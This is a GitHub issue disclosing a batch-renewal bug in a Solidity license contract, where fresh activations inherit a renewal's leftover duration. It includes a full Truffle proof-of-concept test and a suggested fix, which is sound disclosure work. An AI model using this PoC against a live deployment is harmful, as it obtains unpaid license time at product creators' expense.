Skip to content

Batch renewals can copy one license's remaining duration into later fresh activations #29

@Shawnleeeeee

Description

@Shawnleeeeee

Batch renewals can copy one license's remaining duration into later fresh activations

Summary

ProductActivate.activatePurchase reuses a mutated theDuration across all entries in a batch purchase. If the first entry renews an existing activation, its remaining time is added into theDuration; later fresh activation hashes in the same transaction inherit that extra time even though they are not renewals.

This lets a regular buyer obtain fresh activations with more time than the purchased offer duration should grant.

Affected code

  • contracts/ProductActivate.sol:149 initializes theDuration once before the purchase loop.
  • contracts/ProductActivate.sol:157 iterates through every purchase.
  • contracts/ProductActivate.sol:193-199 adds the old activation's remaining time into theDuration during renewal.
  • contracts/ProductActivate.sol:212-214 mints each token using the currently mutated theOffer.value.

Reproduction

I added a focused Truffle PoC:

test/ProductActivateRenewalDurationLeakPoC.js

Run:

npx truffle test test/ProductActivateRenewalDurationLeakPoC.js --migrate-none

Observed result:

Contract: ProductActivate renewal duration leak PoC
  √ carries one renewal's remaining time into later fresh purchases in the same batch

1 passing

The PoC:

  1. Creates an expiring activation offer with duration 100000 seconds.
  2. Purchases renewedHash.
  3. Calls activatePurchase again with numPurchases = 2 and hashes [renewedHash, freshHash].
  4. Confirms freshHash receives roughly the same extended expiration as the renewed activation.

Impact

A buyer can copy remaining time from an existing activation into later fresh activations in the same batch. Product creators price offers by activation period, so this can grant unpaid extra license time and create a creator revenue / license accounting mismatch.

This is not a direct ETH/token theft claim. The conservative impact is unauthorized additional activation duration for fresh licenses through the normal public purchase path.

Suggested fix

Keep the offer's base duration unchanged across loop iterations. For each purchase item, compute a local duration/value pair. Add old remaining time only to the local value for the current renewal, and do not let it persist into later fresh purchases.

Adding a regression test for [existingHash, freshHash] in one activatePurchase call should catch this.

Full PoC test

const StringCommon = artifacts.require("StringCommon.sol");
const ImmutableEntity = artifacts.require("ImmutableEntity.sol");
const ImmutableProduct = artifacts.require("ImmutableProduct.sol");
const CreatorToken = artifacts.require("CreatorToken.sol");
const ActivateToken = artifacts.require("ActivateToken.sol");
const ProductActivate = artifacts.require("ProductActivate.sol");

const BN = web3.utils.BN;

contract("ProductActivate renewal duration leak PoC", accounts => {
  const owner = accounts[0];
  const seller = accounts[1];
  const buyer = accounts[2];

  const renewedHash = 0xace1;
  const freshHash = 0xace2;
  const duration = new BN("100000");

  function expirationOf(statusValue) {
    return new BN(statusValue.toString()).shrn(128).and(new BN("ffffffff", 16));
  }

  it("carries one renewal's remaining time into later fresh purchases in the same batch", async () => {
    const common = await StringCommon.new();
    await common.initialize();

    const entity = await ImmutableEntity.new();
    await entity.initialize(common.address);

    const product = await ImmutableProduct.new();
    await product.initialize(entity.address, common.address);

    const creator = await CreatorToken.new();
    await creator.initialize(common.address, entity.address, product.address);

    const activateToken = await ActivateToken.new();
    await activateToken.initialize(common.address, entity.address);

    const productActivate = await ProductActivate.new();
    await productActivate.initialize(
      common.address,
      entity.address,
      product.address,
      activateToken.address,
      creator.address
    );

    await product.restrictProductActivate(productActivate.address, { from: owner });
    await activateToken.restrictToken(productActivate.address, creator.address, { from: owner });

    await entity.entityCreate("Duration Seller", "https://seller.example", { from: seller });
    await entity.entityStatusUpdate(1, 1, { from: owner });

    await product.productCreate(
      "Duration Product",
      "https://seller.example/duration-product",
      "https://seller.example/logo.png",
      0,
      { from: seller }
    );

    await product.productOfferFeature(
      0,
      "0x0000000000000000000000000000000000000000",
      1,
      1,
      duration,
      0,
      0,
      "https://seller.example/duration-offer",
      false,
      0,
      0,
      { from: seller }
    );

    await productActivate.activatePurchase(
      1,
      0,
      0,
      1,
      [renewedHash],
      [0],
      { from: buyer, value: 1 }
    );

    const firstStatus = await activateToken.activateStatus(1, 0, renewedHash);
    const firstExpiration = expirationOf(firstStatus[0]);

    await productActivate.activatePurchase(
      1,
      0,
      0,
      2,
      [renewedHash, freshHash],
      [0, 0],
      { from: buyer, value: 2 }
    );

    const renewedStatus = await activateToken.activateStatus(1, 0, renewedHash);
    const freshStatus = await activateToken.activateStatus(1, 0, freshHash);
    const renewedExpiration = expirationOf(renewedStatus[0]);
    const freshExpiration = expirationOf(freshStatus[0]);

    assert(
      renewedExpiration.sub(firstExpiration).gt(duration.div(new BN("2"))),
      "renewed activation should extend by roughly one paid duration"
    );

    assert(
      freshExpiration.sub(firstExpiration).gt(duration.div(new BN("2"))),
      "fresh activation unexpectedly received the renewal's leftover time"
    );

    assert(
      renewedExpiration.sub(freshExpiration).abs().lte(new BN("2")),
      "fresh activation should not end at the same time as the renewed activation"
    );
  });
});

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions